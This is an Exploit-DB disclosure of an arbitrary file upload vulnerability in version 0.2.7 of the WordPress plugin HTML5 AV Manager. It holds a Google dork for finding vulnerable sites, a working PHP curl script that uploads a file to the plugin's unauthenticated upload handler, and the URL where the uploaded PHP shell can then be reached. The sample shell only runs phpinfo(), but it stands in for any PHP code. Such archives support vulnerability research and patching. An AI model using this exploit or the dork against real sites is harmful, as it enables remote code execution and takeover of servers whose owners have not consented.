WordPress Plugin HTML5 AV Manager 0.2.7 - Arbitrary File Upload

EDB-ID:

18990

CVE:





Platform:

PHP

Date:

2012-06-05


##################################################
# Description : Wordpress Plugins - HTML5 AV Manager for WordPress Shell 
Upload Vulnerability
# Version : 0.2.7
# Link : http://wordpress.org/extend/plugins/html5avmanager/
# Plugins : http://downloads.wordpress.org/plugin/html5avmanager.0.2.7.zip
# Date : 26-05-2012
# Google Dork : inurl:/wp-content/plugins/html5avmanager/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/html5avmanager/lib/uploadify/custom.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/videoaudio/temp/lo.php

lo.php
<?php
phpinfo();
?>